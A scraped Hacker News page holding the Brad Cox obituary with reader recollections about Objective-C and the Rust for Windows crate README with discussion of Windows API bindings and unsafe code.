Yeah, this is the kind of project that could fly really well as an 'indie hacker' style. Just one person running it all. Today's cloud tools allow that.

edit: but I don't think that's what the author wanted. Not really sure what they wanted, to have full success by month #8? Drop it all for an idea not even tested yet sounds very very amateur.

gnicholas(10000) 5 days ago [-]

Previously discussed: https://news.ycombinator.com/item?id=21947551

Weird that the blog post is dated Oct 2020 but was apparently discussed on HN in Jan 2020...

netsharc(10000) 5 days ago [-]

IIRC blogs with fresher dates are ranked higher, or maybe people just click them more. Just the author practicing low-level SEO spamming, I guess.





Historical Discussions: Brad Cox has died (January 22, 2021: 836 points)

(841) Brad Cox has died

841 points 1 day ago by carlosrg in 10000th position

www.legacy.com | Estimated reading time – 4 minutes | comments | anchor

Dr. Brad J.

Cox Ph.D

Dr. Brad Cox, Ph.D of Manassas, Virginia, died on January 2, 2021 at his residence. Dr. Cox was a computer scientist known mostly for creating the Objective – C programming language with his business partner, Tom Love, and for his work in software engineering (specifically software reuse) and software componentry. Brad was born on May 2, 1944 in Fort Benning, Georgia, to the late Nancy Hinson Cox and Dewey McBride Cox of Lake City, South Carolina. Brad grew up on the family's dairy farm in South Carolina but found himself most interested in science. After graduating from Lake City High School, he received his Bachelor of Science Degree in Organic Chemistry and Mathematics from Furman University, and his Ph.D. from the Department of Mathematical Biology at the University of Chicago, and worked on an early form of neural networks. He soon found himself more interested in computers and got a job at International Telephone and Telegraph (ITT) and later joined Schlumbeger – Doll Research Labs, and ultimately formed his own Connecticut startup, Productivity Products International (PPI) later named Stepstone. Among his first known software projects, he wrote a PDP-8 program for simulating clusters of neurons. He worked at the National Institutes of Health and Woods Hole Oceanographic Institute before moving into the software profession. Dr. Cox was an entrepreneur, having founded the Stepstone Company together with Tom Love for releasing the first Objective-C implementation. Stepstone hoped to sell 'ICPaks' and Dr. Cox focused on building his ICPak libraries and hired a team to continue work on Objective-C, including Steve Naroff. The late Steve Jobs', NeXT, licensed the Objective-C language for it's new operating system, NEXTSTEP. NeXT eventually acquired Objective- C from Stepstone. Objective-C continued to be the primary programming language for writing software for Apple's OS X and iOS.

Dr. Cox won a Paul Allen Distance Education Award in 1998 for his online course, 'Taming the Electronic Frontier'. In 1991, Dr. Cox published his book, Object Oriented Programming: an Evolutionary Approach and in 1996 published Superdistribution: Objects as Property on the Electronic Frontier which was translated into 10 different languages.

Dr. Cox joined George Mason University's Program on Social and Organizational Learning, developing early online courses over the internet. After leaving the academia, Dr. Cox began a career in government consulting which included assignments with Boeing and at the Pentagon. Ultimately, Dr. Cox returned to his neural net roots and worked in applying machine learning and data science to cybersecurity.

Dr. Cox was sought- after and traveled Europe extensively lecturing, making speeches and demonstrating how to program software. He and his wife, Etta, enjoyed traveling for leisure, as well, and visited the Caribbean often as they both enjoyed scuba diving. Belize especially held fond memories for them. On one scuba diving excursion while in the compound having lunch, Brad engaged a couple from Germany in conversation. Brad asked about the fellow travelers occupation and discovered he was a computer programmer. Lifewise, Brad was asked about his life's work and stated I am also a computer programmer. 'What do you do?' Brad was asked. I wrote Objective-C. Astonished, the gentlerman said, 'No, Brad Cox wrote that'. 'Hi, I am Brad Cox', was the response and the introduction. Needless to say, much conversation ensued after the scuba diving concluded. Throughout Brad's life and career, countless instances such as this one occurred repeatedly. One of Brad's mothers favorite stories to tell was about her accompanying them on one of their trips to Belize and how much she enjoyed staying on the yacht. The delectable cuisine was much to anticipate. Her interaction with the chef was most entertaining and his final presentation was most palatable and much admired. Getting to know the captain as he safely navigated them from one beautiful destination to another was most comforting in light of his calm and charismatic personality and calmed whatever fear or anxiety she may have possessed. Memories of the Belize trip she cherished until her death at the age of 98. She was very proud of her son and all of his accomplishments.

Brad enjoyed music and played the piano and the quitar. In earlier years he was a member of a band which played mostly blue grass music which was his favorite. He enjoyed communing with nature and taking long walks in the woods was to his delight. He had a wonderful sense of humor.

Dr. Cox was predeceased by his parents, Nancy and Dewey Cox of Lake City. He is survived by his wife of 44 years, Etta Glenn of Manassas, Virginia. Also, his brother, Dan (Donna) Cox, nephews Neil (Wendy) Cox and Chad (Danielle) Cox and 12 great nieces and nephews. Brooklyn, Daniel, Dixie, Ryan, Kyle, Manning, Whitt, Lacey, Eli, Tatum, Harper, and Kingston Cox, all of Lake City, South Carolina.

A memorial service in celebration of his life is planned for Wednesday, January 13, 2021 at 11:00 am at Cornerstone Ministries, 1900 New Zion Rd. Lake City SC, 29560.

Published by SCNow on Jan. 8, 2021.




All Comments: [-] | anchor

gigantor(10000) 1 day ago [-]

There is no doubting the legacy of Objective-C (especially given the high likelihood you are reading this post on a mobile device, using app written in Objective-C), but to truly appreciate Brad's legacy, am curious about the appeal of using Objective-C.

Having developed only one small iOS app with Objective-C code, I was mostly turned off by its overall verbosity in the context of NS prefixes. Hence, I ask the question on behalf myself and others who did not appreciate the language and did not give it a proper chance... what did I miss and what are its top appeals?

Nevertheless, Rest In Peace to a pioneer.

astrange(10000) 1 day ago [-]

> Having developed only one small iOS app with Objective-C code, I was mostly turned off by its overall verbosity in the context of NS prefixes.

This is actually a blessing because NS-/name prefixes are a simple approach to naming that keeps you humble. If you let programmers have namespacing they will invent enterprise software frameworks where every class is six layers deep in a namespace of random tech buzzwords they thought up.

> Hence, I ask the question on behalf myself and others who did not appreciate the language and did not give it a proper chance... what did I miss and what are its top appeals?

It implements message-based programming, which is 'real' OOP and more powerful than something like C++, where OOP just means function calls where the first parameter goes to the left of the function name instead of the right.

In particular it implements this pattern: https://wiki.c2.com/?AlternateHardAndSoftLayers which is great for UI programming and lets you define the UI in data rather than code. Although iOS programmers seem to like doing it in code anyway.

acjohnson55(10000) 1 day ago [-]

It's not a modern language, so appreciating it has to be in its original context. I think it does an admirable job of augmenting C with object-oriented capabilities. It's certainly easier to master than C++.

I'm not an expert on this, but I suspect that the main reasons it was chosen for iOS were:

- The technical limitations of the original iPhone meant that you needed to use a low-level language.

- The legacy of NeXT at Apple.

apple4ever(10000) about 8 hours ago [-]

That verbosity is exactly why I love it.

It's easy to write and easy to read (especially years later). It's just such a joy to work with.

redwall_hp(10000) 1 day ago [-]

In the context of the time, C++ didn't exist yet. Objective-C was actually introduced just prior to C++, and both languages were effectively solving the same problem in different ways: C was the dominant language, and both language designers were trying to graft the OOP paradigm onto it.

Objective-C is a thin-layer on top of C, adding Smalltalk-inspired object support. That's pretty much all there is to it. C, with some new syntax for objects. In the context of a world where C is the norm, that's pretty appealing. This is before Java existed, too.

The 'NSWhatever' stuff, as far as I'm aware, isn't part of the language. That's all in the frameworks Apple/NEXT developed for Objective-C. (Note that the base object is called Object, not NSObject, and the integer class is Integer.) NSString is probably named that way because Objective-C doesn't include a string class (nor does C, as a string is just an array of bytes until you write a wrapper to get fancy) and NEXT made one. They were just namespacing the NEXTStep classes.

mojuba(10000) 1 day ago [-]

Objective-C is verbose not just because of the NS suffixes. Everything is verbose (by today standards anyway). ObjC is a 'child' of the 1980's when verbosity was considered a merit and a norm in programming.

Two things that I used to like about it:

- Combination of static typing and at the same time pretty high level dynamic typing: it was practically possible to call any method on any object, right or wrong, just like in dynamic languages. For performance critical parts you could always resort to C. Later, as a little bonus it was also possible to resort to... C++. There was such a beast as Objective-C++.

- The method calling syntax. Quite unusual but neat. I liked it a lot.

However, Swift ruined it for me. Now that I'm a total Swift convert and I feel a 2x or even 3x boost in productivity I can't even look at Objective-C code anymore.

saagarjha(10000) 1 day ago [-]

Objective-C is a very simple, clean language–very much unlike its other 'object-oriented-C competitor' C++. Unlike C++ it's a 100% superset of C, and it takes its cues from Smalltalk where objects send messages to each other rather than statically call each other's procedures. To support this, there is a very rich runtime that allows all sorts of reflection and metaprogamming atypical in a compiled language.

AJRF(10000) 1 day ago [-]

I am giving a talk in work soon around method swizzling in iOS and was delving into the history of Objective-C a bit and came across Alan Kay's talk about the power of simplicity and how we've all screwed up OOP.

In the talk, Alan talks about the ant who lives his life on a single plane of existence, the 'Gulley World' or 'Reality'.

The ant goes to work, he finds stuff to eat, he lives his life in this Gulley World, which is depicted as a pink 2D plane. However some times on this pink plane there are little spots of blue. They represent thoughts that don't belong in the pink plane.

Sometimes those blue spots turn into blue planes, and the ant we are following starts to move along that plane instead of the pink one. Everyone in the pink plane thinks he is wrong. Everyone can see the pink plane, in all its reality. It is not until you walk on the blue plane until you can see 'another way'.

The metaphor being that we developers built a world where we started to take the general idea of OOP and construct a lot of 'reality' around it. A lot of process, a lot of formalization so we could build mechanical systems of gears that slotted together. I think Alan's idea of OOP was something more fluid, more organic than this. The world is messy and we often try to abstract the mess away in these overbearingly weighty and hierarchical programs that everyone agrees is the right way.

I think Objective-C was the most widely used and successful walk on this blue plane. Millions of developers were exposed to the idea of message passing as a form of OOP, which is an astounding accomplishment. It really is a neat language, and I had a lot of fun learning it.

Brad definitely walked on the blue plane. RIP.

coldtea(10000) about 13 hours ago [-]

>Brad definitely walked on the blue plane. RIP.

Your/Alan's 'blue plane' analogy remindeded me of this:

  They said, 'You have a blue guitar,
  You do not play things as they are.'
  The man replied, 'Things as they are 
  Are changed upon the blue guitar.'
https://www.writing.upenn.edu/~afilreis/88v/blueguitar.html
captainclam(10000) 1 day ago [-]

'I think Alan's idea of OOP was something more fluid, more organic than this.'

I've heard a good deal about Alan Kay's dissent of the state of OOP, but I've never seen a concise summary of his vision or the principles that Kay's 'ideal' realization of OOP would adhere to.

Does such a resource exist, written by Kay himself or otherwise? Or do I just need to go play around with Obj C or Smalltalk to really 'get it?'

prabhatjha(10000) 1 day ago [-]

What a great tribute you have written. When I first found about swizzling through a seasoned iOS dev I was blown away. The swizzling capability in obj-c basically helped create my first startup, InstaOps, a long time back which allowed no code change to instrument an app to capture logs and network performance metrics.

arthurcolle(10000) 1 day ago [-]

This is Apple Objective-C right? I thought it was developed in house, didn't realize it had already existed.

thought_alarm(10000) 1 day ago [-]

Objective-C was adopted by NeXT Computer in the late 1980s for their app development framework.

The modern version of Objective-C, the one that's still in use today, was developed by NeXT and Sun and was called OpenStep. The first OpenStep specification was published in 1994.

OpenStep API implementations were created for NeXTSTEP OS, Solaris, and Windows NT, running on Motorola 68040, Intel, PA-RISC, and SPARC (and later PPC) platforms.

Sun would switch gears to Java, Apple would buy NeXT, and OpenStep would become Cocoa.

saagarjha(10000) 1 day ago [-]

The language was selected by NeXT and then later used pervasively in Mac OS X as a result. This left Apple as the main driver of its development.

jhbadger(10000) 1 day ago [-]

It was originally developed by Cox's company in the mid 1980s, and then adopted by Steve Jobs' company NeXT in the late 1980s as the official language of NextStep. The Apple connection is only that Apple bought NeXT and that its OS X is really just a Mac-skinned version of NextStep.

bartmika(10000) 1 day ago [-]

> On one scuba diving excursion while in the compound having lunch, Brad engaged a couple from Germany in conversation. Brad asked about the fellow travelers occupation and discovered he was a computer programmer. Lifewise, Brad was asked about his life's work and stated I am also a computer programmer. 'What do you do?' Brad was asked. I wrote Objective-C. Astonished, the gentlerman said, 'No, Brad Cox wrote that'. 'Hi, I am Brad Cox', was the response and the introduction.

Wonderful story. I wish his family all the best.

I love Objective-C and consider it a beautiful language. Back in the day I re-discovered my love for programming when I started to learn this language. This was when I was still in the Java world.

As a side project I tried to build a drone (unmanned navel vehicle) powered by objective-c. I have abandoned the effort but posted the code on GitHub - it was a joy to work with the language and the funnest side project I've worked with.

These days I work with python and golang for job/hobby but I always am grateful to have spent time with objective-c. Reflecting back if I haven't spent time with this language, today I would of not been a programmer.

Thank you Brad Cox for your work and positive influence.

thunderbong(10000) 1 day ago [-]

Not to sidetrack the conversation, but I found your typo of calling a drone an unmanned navel vehicle quite apt!

omarforgotpwd(10000) about 20 hours ago [-]

unmanned belly button vehicles are the best. much better than the manned ones

bitexploder(10000) 1 day ago [-]

Objective-C is a real object oriented programming language. Everything is messages. Reverse engineering ObjC as a security engineer over the years has been a treat. The runtime is a breeze to work with and the language itself made substantial usability improvements over C. It's phased out over Swift now, but I really have no complaints over my time with the language, a rare thing in tech. I didn't know you, Mr. Cox, but I enjoyed your work.

pjmlp(10000) about 23 hours ago [-]

Java also owns it to Objective-C, while it copied C++ syntax, protocols, reflection and dynamic loading come from Objective-C.

https://cs.gmu.edu/~sean/stuff/java-objc.html

And what many J2EE/JEE haters aren't aware of, it started as an Objective-C framework during the OpenSTEP days, and the OS was called Spring.

https://en.wikipedia.org/wiki/Distributed_Objects_Everywhere

m463(10000) 1 day ago [-]

I wonder what objective-c would look like with the square brackets turned into parenthesis...

kdavis(10000) 1 day ago [-]

Many moons ago I used to work with Brad in DC. He never let on that he was a world famous computer scientist. He slinged code shoulder to shoulder with us plebes.

He was a Mensch.

kotrunga(10000) 1 day ago [-]

plebes... a great word I don't hear often!

lucb1e(10000) 1 day ago [-]

For the other Dutch/German people out there confused at what Mensch means other than 'human', dictionary says: 'a person of integrity and honor' (https://www.merriam-webster.com/dictionary/mensch)

cxr(10000) 1 day ago [-]

I mentioned Brad Cox's 'software ICs' today on the phone in a conversation about big ideas in programming, not knowing that he'd passed away a couple weeks ago.

Here's the Objective-C paper at last year's HOPL:

'The origins of Objective-C at PPI/Stepstone and its evolution at NeXT'

https://dl.acm.org/doi/10.1145/3386332

https://news.ycombinator.com/item?id=23516334

microtherion(10000) about 14 hours ago [-]

That's a truly excellent paper (and exceptionally honest, considering some of the touchy subjects involved) and disentangles many of the origins of the various concepts in Objective C between the Stepstone and NeXT environments.

Austin_Conlon(10000) 1 day ago [-]

Computer History Museum interview with him: http://archive.computerhistory.org/resources/access/text/201....

bogomipz(10000) 1 day ago [-]

What an amazing career. I was curious about this:

>'The late Steve Jobs', NeXT, licensed the Objective-C language for it's new operating system, NEXTSTEP. NeXT eventually acquired Objective-C from Stepstone.'

Does anyone what NeXT paid to acquire the Objective-C license?

favorited(10000) 1 day ago [-]

They were both privately held companies, so it might never have been disclosed.

Part of the acquisition was that NeXT would license Objective-C back to Stepstone for their own products, so it was more than an outright purchase anyway.

mucholove(10000) 1 day ago [-]

Two years ago I started writing an app in Swift. After a two year sabbatical, this was going to be my first app.

When using Swift, the compiler was painstakingly slow. Because of that, I tried Objective-C and it is so clear to me that I love it. It is the best language in my humble opinion. The dynamism clicked and the modern features make it a real breeze to use.

Messages are so flexible. I also love how it has "gradual typing."

My only gripe with it is that Categories can't formally conform to protocols—which I understand is an easy to build feature that Blaine Garst did finish but Apple never released.

I know I'm talking about the language more than I am talking about Brad Cox, but that's because it's the first time I really fell in love with a language. Using Objective-C to build it brings me joy. Lots and lots of joy.

Thank you Brad. My prayers to your family. May you find peace in heaven.

mpweiher(10000) about 23 hours ago [-]

> Categories can't formally conform to protocols

I wasn't aware of that limitation, so I tried it out just now only to be certain. Works fine for me. ̄\_(ツ)_/ ̄

   @interface UIViewBuilderSmalltalkViewController(storage) <MPWStorage>
   @end
   @implementation UIViewBuilderSmalltalkViewController(storage)
   @end
Compiler correctly complained about the missing methods and Xcode kindly offered to add stubs for me:

   /Users/marcel/programming/Projects/ViewBuilder/UIViewBuilderMockup/UIViewBuilderSmalltalkViewController.m:121:17: Category 'copying' does not conform to protocol 'MPWStorage'
   /Users/marcel/programming/Projects/ViewBuilder/UIViewBuilderMockup/UIViewBuilderSmalltalkViewController.m:121:17: Add stubs for missing protocol requirements
Sunspark(10000) 1 day ago [-]

Can you build the feature yourself?

microtherion(10000) 1 day ago [-]

I met him once in the late 1990s, when his travels took him to Zurich and he asked me whether I could book a talk for him at ETH Zurich, where I was a grad student.

I did not quite share his confidence in my abilities in that area, but to my relief, Jürg Gutknecht agreed to sponsor the talk, and I got to spend lunch with Brad Cox, Niklaus Wirth, and Jürg Gutknecht. Given their highly divergent aesthetics in language syntax, I expected some fireworks, but the conversation was quite pleasant, even when they were discussing Perl.

I was at the time the maintainer of the Mac port of Perl, and had taken some classes with Wirth, but the idea of discussing Perl with him struck me as akin to discussing masturbation with the Pope. However, Wirth conceded that in the area of text processing, general purpose languages tended to be somewhat clumsy, and there had always been a successful niche for languages like Snobol and now Perl.

Brad Cox was a splendid conversationalist in many other areas as well. His talk focused on Superdistribution as the next evolution of the Software IC concept, and he very skillfully pitched this to a Swiss audience that a banking nation should be a natural superpower to take the lead in a micropayment world. He was very good at painting visions like this, but I'm not sure how much of it ultimately came to pass:

a) I don't think we're any closer to plug and play 'Software ICs' than we were in the mid-1980s when he introduced the term. In the Objective C ecosystem, the closest there was to that was maybe Interface Builder with its Outlets and Actions, but I think that part did NOT originate with Cox (I may be mistaken, though).

b) Likewise, I don't see any move to distributed micropayments. If anything, more and more of the software revenue seems to come from centrally billed cloud services, e.g. comparing the Microsoft Office revenue model 20 years ago and now.

protomyth(10000) 1 day ago [-]

The book to go with is 'Superdistribution: Objects as Property on the Electronic Frontier' which is a fun read.

Objective-C is still my favorite language and I loved his writing when first learning it in 94.

coldtea(10000) about 13 hours ago [-]

>I don't think we're any closer to plug and play 'Software ICs' than we were in the mid-1980s when he introduced the term.

A lot of modern infrastructure works like that -- function as a service, serverless, k8s boxes, etc.

bboreham(10000) about 22 hours ago [-]

I think the vision of Software ICs was delivered most fully by VBX custom controls for Visual Basic and Delphi. Superseded by OCX.

There were hundreds of them you could download for free or paid, doing all kinds of GUI and non-GUI tasks.

Doesn't seem so popular now.

erik_seaberg(10000) 1 day ago [-]

He was bold enough to create a DSL starting from C. Too many black bar-worthy losses lately.

protomyth(10000) about 17 hours ago [-]

Given the impact of his contributions, I don't understand why there isn't a black bar.

robbyking(10000) 1 day ago [-]

I love the quote from him where he says 'languages are mere tools for building and combining parts of software.' I think a lot of new developers get hung up on Language A vs. Language B (or OS A vs. OS B), so I hope this helps them realize that the languages are just tools you have in your toolbox, and that they should be open to switching between (and learning new) languages as needed.

neverartful(10000) about 18 hours ago [-]

Absolutely! ObjC's raison d'être was pragmatic. Brad Cox said that he didn't invent ObjC because he wanted to come up with a new language, he needed that type of language to solve the problems at hand.

I completely agree with your point about languages being just tools in your toolbox. With that point, I always feel that many of the folks who describe themselves as being 'passionate about language xxx' might be selling themselves short when it comes to having a toolbox that's not a one-trick pony.

dwheeler(10000) 1 day ago [-]

Very sad. I had the privilege of taking a class from him at George Mason University, and he was (unsurprisingly) very knowledgeable.

He worked hard to enable software reuse. No one was interested in his idea of trying to monitor component use during runtime to pay developers. That was an unworkable approach, and I told him that then. But the general world of making it easy to reuse components is a reality today, via open source software and package managers.

So, a hat-tip to him and all the other pioneers who helped make the world a better place.

shanev(10000) 1 day ago [-]

> He worked hard to enable software reuse. No one was interested in his idea of trying to monitor component use during runtime to pay developers

People are experimenting doing this in blockchain smart contracts. It's transparent and supports micropayments as well.

coldtea(10000) about 13 hours ago [-]

>No one was interested in his idea of trying to monitor component use during runtime to pay developers.

Well, today we call it 'function as a service' and Serverless...

https://en.wikipedia.org/wiki/Function_as_a_service

sidpatil(10000) 1 day ago [-]

> No one was interested in his idea of trying to monitor component use during runtime to pay developers.

This reminds me of Project Xanadu's ideas about transclusions and associated royalties.

What a coincidence that this was posted recently: https://news.ycombinator.com/item?id=25875386

kitd(10000) about 23 hours ago [-]

> No one was interested in his idea of trying to monitor component use during runtime to pay developers.

Apart from enterprises selling K8s components who call it 'metering'.

astrange(10000) 1 day ago [-]

> He worked hard to enable software reuse. No one was interested in his idea of trying to monitor component use during runtime to pay developers.

This is a nice idea although I never thought it could've worked; it seems like it took forever for people to stop trying though. The app-and-library organization of software is more natural than document-and-component organization because of Conway's law, which is surprisingly hard to escape.

WarOnPrivacy(10000) 1 day ago [-]

Having lived in Manassas, I express my deep regret that this pioneer spent his final years there.

devonkim(10000) 1 day ago [-]

If I had known he was literally down the road from me I'd have tried to pay my respects earlier and didn't catch this in local news at all. It's not that bad here probably compared to 10 years ago, especially with the VRE train routes to DC and new stuff downtown.

btilly(10000) 1 day ago [-]

Does anyone know what he died of?

Given current events, my assumption is COVID-19. But I know that I'm assuming that too often. Old people do die of other things.

luxuryballs(10000) 1 day ago [-]

I was thinking about how the vaccine just started rolling out and has already killed "frail" people, but I have no knowledge of this guy other than him being a computer programmer... gulp (I am a computer programmer)

gdubs(10000) 1 day ago [-]

[BradCox release]

RIP.

I owe so much to Objective-C. My early love for the language is what launched my own career, and inspired a love for programming in general. Thank you, Brad Cox.

princekolt(10000) 1 day ago [-]

The same thing happened to me. I was at university loving C but learning Java and hating every minute of it.

One day, with the help of another student, I managed to install Snow Leopard on my Acer notebook and the first thing I wanted to do was figure out how iPhone programming worked. However I was instantly confused at the syntax of the language and that threw me off.

I did try again two more times though, and in the last one it just clicked. That was mid-2012. I dropped out of university for a job opportunity in 2015 and have been an iPhone developer ever since.

Thank you, Brad Cox.

mucholove(10000) 1 day ago [-]

This is so poetic.

What a beautiful way to remember him.

Alan Kay once said that those who began to talk about objects in anthropomorphic terms got object oriented programming. Your "code" now reveals to me the cycle of life in all that I type. How delightful.

Thank you :)

jhbadger(10000) 1 day ago [-]

I always liked his analogy for object oriented programming as 'software ICs' -- just as in hardware development, you don't have to worry about what goes on in a chip (just what it takes as input and gives as output), so too a well designed object works.

lytol(10000) 1 day ago [-]

Interestingly, I feel like this comparison to an IC and input(s) -> output(s) is more akin to functional approaches, and many people complain about OOP being the opposite.

To quote Joe Armstrong:

> I think the lack of reusability comes in object-oriented languages, not functional languages. Because the problem with object-oriented languages is they've got all this implicit environment that they carry around with them. You wanted a banana but what you got was a gorilla holding the banana and the entire jungle. If you have referentially transparent code, if you have pure functions — all the data comes in its input arguments and everything goes out and leave no state behind — it's incredibly reusable.

saagarjha(10000) 1 day ago [-]

:(

Objective-C was the "object oriented C" that was simple and a delight to use...words that I certainly would not use to describe competing efforts. The syntax might be a little disagreeable–a concession to strict C compatibility–but the language itself is remarkably clean and, dare I say, pretty. Brad Cox struck the balance between flexibility and practicality better than almost anyone else before or since.

neverartful(10000) about 18 hours ago [-]

Well put. The one word I would add to your description is 'pragmatic'. For many years, ObjC was the language that I would rate at the top of the pragmatic list. That stayed true for me until Nim arrived and now it's a toss-up.

throw03172019(10000) 1 day ago [-]

RIP. Objective-C was my first language and I enjoyed it even with manual memory management!

neverartful(10000) about 18 hours ago [-]

True! For those who might be wondering how it's even possible to enjoy working with a language that required manual memory management, I submit to you 'autorelease' and auto-release pools.





Historical Discussions: Rust for Windows (January 21, 2021: 784 points)
Rust for Windows (January 21, 2021: 18 points)

(784) Rust for Windows

784 points 2 days ago by dsr12 in 10000th position

github.com | Estimated reading time – 3 minutes | comments | anchor

Rust for Windows

The windows crate lets you call any Windows API past, present, and future using code generated on the fly directly from the metadata describing the API and right into your Rust package where you can call them as if they were just another Rust module.

The Rust language projection follows in the tradition established by C++/WinRT of building language projections for Windows using standard languages and compilers, providing a natural and idiomatic way for Rust developers to call Windows APIs.

Getting started

Start by adding the following to your Cargo.toml file:

[dependencies]
windows = '0.2.1'
[build-dependencies]
windows = '0.2.1'

This will allow Cargo to download, build, and cache Windows support as a package. Next, specify which types you need inside of a build.rs build script and the windows crate will generate the necessary bindings:

fn main() {
    windows::build!(
        windows::data::xml::dom::*
        windows::win32::system_services::{CreateEventW, SetEvent, WaitForSingleObject}
        windows::win32::windows_programming::CloseHandle
    );
}

Finally, make use of any Windows APIs as needed.

mod bindings {
    ::windows::include_bindings!();
}
use bindings::{
    windows::data::xml::dom::*,
    windows::win32::system_services::{CreateEventW, SetEvent, WaitForSingleObject},
    windows::win32::windows_programming::CloseHandle,
};
fn main() -> windows::Result<()> {
    let doc = XmlDocument::new()?;
    doc.load_xml('<html>hello world</html>')?;
    let root = doc.document_element()?;
    assert!(root.node_name()? == 'html');
    assert!(root.inner_text()? == 'hello world');
    unsafe {
        let event = CreateEventW(
            std::ptr::null_mut(),
            true.into(),
            false.into(),
            std::ptr::null(),
        );
        SetEvent(event).ok()?;
        WaitForSingleObject(event, 0);
        CloseHandle(event).ok()?;
    }
    Ok(())
}

To reduce build time, use a bindings crate rather simply a module. This will allow Cargo to cache the results and build your project far more quickly.

There is an experimental documentation generator for the Windows API. The documentation is published here. This can be useful to figure out how the various Windows APIs map to Rust modules and which use paths you need to use from within the build macro.

For a more complete example, take a look at Robert Mikhayelyan's Minesweeper. More simple examples can be found here.




All Comments: [-] | anchor

phkahler(10000) 2 days ago [-]

Rust needed a GUI and Microsoft provided one. They seem to be very focused on giving developers what they need, but only to a point. I've been doing some system glue stuff and while it's nice that powershell has ssh an scp they are missing some options I want. I was going to use curses with python (batteries included!), only to find out it's not supported on windows.

It almost feels like a strategy - be standard enough to bring people in, but idiosyncratic enough to lock them in.

I'll be using gtk-rs thank you very much.

freeone3000(10000) 2 days ago [-]

You'll need to install windows-curses, since cmd.exe didn't support vt100 escape sequences until relatively recently, and still requires a special WinRT call in order to enable them.

But it's a bit telling that the first hurdle you hit in running python on windows was the operating systems choosing different forty-year-old terminal emulator escape sequences. :)

chiph(10000) 2 days ago [-]

> They seem to be very focused on giving developers what they need, but only to a point.

This may be a consequence of the consent decree they signed in the early 2000's, where it was alleged that they used their control of Windows APIs to further Internet Explorer market share at the expense of other browsers. Since then they have had to be careful not to act like a monopoly.

https://en.wikipedia.org/wiki/United_States_v._Microsoft_Cor....

dgellow(10000) 2 days ago [-]

WSL2 has almost everything you need if Windows isn't enough

alexfromapex(10000) 2 days ago [-]

That's exactly what this is, a way to sink their proprietary claws into Rust and try to influence the market the way they have done with most of their software for decades.

oaiey(10000) 2 days ago [-]

Well they bring in the language and its runtime to windows development via WinRT. They don't bring WinRT to Rust. This is the windows team writing adapters for their COM API surface. They do the same for C++, C#, JS and now Rust.

Already__Taken(10000) 2 days ago [-]

curses specifically is majorly antithetical to how powershell and by extension Windows/server has decided to evolve. infact text-based UI is the reason CMD.exe cannot and will not ever be improved.

munging anything around with text very much not the Windows way. For better or worse.

mwcampbell(10000) 2 days ago [-]

> I'll be using gtk-rs thank you very much.

Please be aware that if you do this, your application won't be accessible with screen readers or other assistive technologies on Windows and Mac. At least not now. Maybe I'll have time to implement GTK accessibility backends for those platforms someday.

mumblemumble(10000) 2 days ago [-]

I do think it is a strategy, but I think it's a rather simpler one than that: basic work triage and scope management.

ssh and scp make sense to put into powershell, because they're everyday sysops things. curses is pretty posix-specific, and apps that use it are likely to need other posix stuff, so handle that with WSL rather than unnecessarily re-inventing a wheel.

heavyset_go(10000) 2 days ago [-]

> I'll be using gtk-rs thank you very much.

How well does gtk-rs work as a cross-platform GUI library? I know it works well on Linux, but I haven't tried it on macOS or Windows.

If anyone has experience using it for cross-platform development, I'd love to hear about it.

majkinetor(10000) 2 days ago [-]

So Windows didn't port every single linux lib in existence and you call it 'strategy' ?

skybrian(10000) 2 days ago [-]

Does this automatically generate safe API's as expected for Rust? If so, I wonder how they manage it? Did their metadata format have to be extended to describe the constraints on Rust callers and callbacks?

ChrisSD(10000) 2 days ago [-]

It does not generate safe bindings. Currently the metdata is scrapped from Windows headers which don't have all the necessary information to go that far. In the future the metadata could be improved. The metdata format is the same as used by .NET and WinRT.

nn3(10000) 2 days ago [-]

Wish there was something like this for Linux too. Rust system programing on Linux consist of dealing with a dumpster fire of badly implemented and incomplete wrapper crates for the kernel interfaces.

bluejekyll(10000) 2 days ago [-]

I assume you're talking about more than just libc. Many of the Linux specific facilities are captured in higher-level cross platform implementations, like mio abstracts over kqueue on BSD and epoll on Linux.

What are the APIs you're interested in that are missing or of poor quality?

brundolf(10000) 2 days ago [-]

Very cool to see the start of official support. Unfortunately it looks like it requires unsafe { } for now, though maybe it's intended as a low-level foundation on which a higher-level, safer API can be built

coldtea(10000) 2 days ago [-]

>Unfortunately it looks like it requires unsafe { } for now

Forever, and not 'unfortunately' but rather as expected and necessary. Windows API is unsafe (C/C++) itself, and this is a wrapper for it.

_zamorano_(10000) 2 days ago [-]

Well, the Windows API is 'unsafe' by design, is C-based, you pass pointers around, datatype sizes, etc... How can you avoid 'unsafe' in this scenario? You're asking for a new framework or an API rewrite

mmastrac(10000) 2 days ago [-]

Lower-level APIs like this are usually unsafe, with second-level libraries providing the safe abstractions over them.

rendaw(10000) 2 days ago [-]

Unsafe seems like Rust's equivalent of 'checked exceptions' - annoying and misdirected red tape. Pretty much all graphics code (ex: vulkan) is nearly 100% unsafe too. The official docs for these libraries just say 'wrap everything in an unsafe block'.

Is marking the apis unsafe going to make people choose an alternative? No. Does it prevent something bad from happening? No. Do users even know what unsafe means, other than that it sounds scary? No. If they did know, would it have imparted useful knowledge to them (that documentation wouldn't have provided more specifically)? I don't think so, for most users.

mamcx(10000) 2 days ago [-]

Look this way: All C/C++ programs, all of them, forever, are unsafe by default.

Even if a sanitizer, linker, review by the absolute most skilled developer on earth check every line.

Because C/C++ is designed without safety. So, Rust can't 'believe' the external world is safe because the external world is made unsafe.

Maledictus(10000) 2 days ago [-]

I'd say this marks the beginning of the `extend` phase.

Maledictus(10000) 2 days ago [-]

For those who don't remember: https://en.wikipedia.org/wiki/J/Direct

diego_moita(10000) 2 days ago [-]

For Mac fans, the closest you'll have to this in OS-X is core-foundation-rs[1], by the servo team.

[1] https://github.com/servo/core-foundation-rs

edko(10000) 2 days ago [-]

Thanks for the link. Do you know of any examples that use this crate that would be easy enough for a beginner to start learning how to use it?

codeflo(10000) 2 days ago [-]

As someone who writes Windows software now and then, I'm genuinely excited. I tried using this early, when it was limited to WinRT bindings. It looked promising, but compile times were prohibitive. It seems like they now include a build.rs and have clear recommendations around caching — I hope this solves the problem. Has anyone tried a recent version?

hehehaha(10000) 2 days ago [-]

Wow! Almost want to make Windows App now just for fun.

AndrewGaspar(10000) 2 days ago [-]

Since Windows ships a stable ABI, why does this project need to generate the bindings at build time? Couldn't all of the bindings be pre-generated, eliminating the build-dependencies?

Thaxll(10000) 2 days ago [-]

For someone not familliar with Windows API, why does creating a Windows needs unsafe and other low level things? I guess it's the same for the C++/C# version?

https://github.com/kennykerr/samples-rs/blob/master/create_w...

metalliqaz(10000) 2 days ago [-]

